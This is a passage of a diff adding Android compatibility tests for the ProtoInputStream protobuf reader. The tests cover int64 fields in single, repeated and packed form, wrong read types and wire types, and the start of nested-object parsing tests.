+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 8 -> Long.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[] results = new long[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+        assertEquals(Long.MIN_VALUE, results[5]);
+        assertEquals(Long.MAX_VALUE, results[6]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+        testReadCompat(Long.MIN_VALUE);
+        testReadCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(long val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+        final long FIELD_ID = fieldFlags | ((long) 40 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int64Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int64Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 8 -> Long.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+        final long FIELD_ID = fieldFlags | ((long) 41 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int64FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int64FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.int64FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_INT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+
+                // 8 -> Long.MAX_VALUE
+                (byte) 0x42,
+                (byte) 0x12,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x3a,
+                (byte) 0x12,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[0]);
+        testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+        final long FIELD_ID = fieldFlags | ((long) 42 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int64FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int64FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.int64FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readLong(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readLong(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readLong(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed int64)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readLong(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java
new file mode 100644
index 0000000..24e0948
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamObjectTest extends TestCase {
+
+
+    class SimpleObject {
+        public char mChar;
+        public char mLargeChar;
+        public String mString;
+        public SimpleObject mNested;
+
+        void parseProto(ProtoInputStream pi) throws IOException {
+            final long uintFieldFlags =
+                    ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+            final long stringFieldFlags =
+                    ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+            final long messageFieldFlags =
+                    ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+            final long CHAR_ID = uintFieldFlags | ((long) 2 & 0x0ffffffffL);
+            final long LARGE_CHAR_ID = uintFieldFlags | ((long) 5000 & 0x0ffffffffL);
+            final long STRING_ID = stringFieldFlags | ((long) 4 & 0x0ffffffffL);
+            final long NESTED_ID = messageFieldFlags | ((long) 5 & 0x0ffffffffL);
+
+            while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+                switch (pi.getFieldNumber()) {
+                    case (int) CHAR_ID:
+                        mChar = (char) pi.readInt(CHAR_ID);
+                        break;
+                    case (int) LARGE_CHAR_ID:
+                        mLargeChar = (char) pi.readInt(LARGE_CHAR_ID);
+                        break;
+                    case (int) STRING_ID:
+                        mString = pi.readString(STRING_ID);
+                        break;
+                    case (int) NESTED_ID:
+                        long token = pi.start(NESTED_ID);
+                        mNested = new SimpleObject();
+                        mNested.parseProto(pi);
+                        pi.end(token);
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            }
+        }
+
+    }
+
+    /**
+     * Test reading an object with one char in it.
+     */
+    public void testObjectOneChar() throws IOException {
+        testObjectOneChar(0);
+        testObjectOneChar(1);
+        testObjectOneChar(5);
+    }
+
+    /**
+     * Implementation of testObjectOneChar for a given chunkSize.
+     */
+    private void testObjectOneChar(int chunkSize) throws IOException {
+        final long messageFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long MESSAGE_ID_1 = messageFieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // Message 2 : { char 2 : 'c' }
+                (byte) 0x12, (byte) 0x02, (byte) 0x10, (byte) 0x63,
+                // Message 1 : { char 2 : 'b' }
+                (byte) 0x0a, (byte) 0x02, (byte) 0x10, (byte) 0x62,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+        SimpleObject result = null;
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) MESSAGE_ID_1:
+                    final long token = pi.start(MESSAGE_ID_1);
+                    result = new SimpleObject();
+                    result.parseProto(pi);
+                    pi.end(token);
+                    break;
+                case (int) MESSAGE_ID_2:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertNotNull(result);
+        assertEquals('b', result.mChar);
+    }
+
+    /**
+     * Test reading an object with one multibyte unicode char in it.
+     */
+    public void testObjectOneLargeChar() throws IOException {
+        testObjectOneLargeChar(0);
+        testObjectOneLargeChar(1);
+        testObjectOneLargeChar(5);
+    }
+
+    /**
+     * Implementation of testObjectOneLargeChar for a given chunkSize.
+     */
+    private void testObjectOneLargeChar(int chunkSize) throws IOException {
+        final long messageFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long MESSAGE_ID_1 = messageFieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // Message 2 : { char 5000 : '\u3110' }
+                (byte) 0x12, (byte) 0x05, (byte) 0xc0, (byte) 0xb8,
+                (byte) 0x02, (byte) 0x90, (byte) 0x62,
+                // Message 1 : { char 5000 : '\u3110' }
+                (byte) 0x0a, (byte) 0x05, (byte) 0xc0, (byte) 0xb8,
+                (byte) 0x02, (byte) 0x90, (byte) 0x62,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+        SimpleObject result = null;
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) MESSAGE_ID_1:
+                    final long token = pi.start(MESSAGE_ID_1);
+                    result = new SimpleObject();
+                    result.parseProto(pi);
+                    pi.end(token);
+                    break;
+                case (int) MESSAGE_ID_2:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertNotNull(result);
+        assertEquals('\u3110', result.mLargeChar);
+    }
+
+    /**
+     * Test reading a char, then an object, then a char.
+     */
+    public void testObjectAndTwoChars() throws IOException {
+        testObjectAndTwoChars(0);
+        testObjectAndTwoChars(1);
+        testObjectAndTwoChars(5);
+    }
+
+    /**
+     * Implementation of testObjectAndTwoChars for a given chunkSize.
+     */
+    private void testObjectAndTwoChars(int chunkSize) throws IOException  {
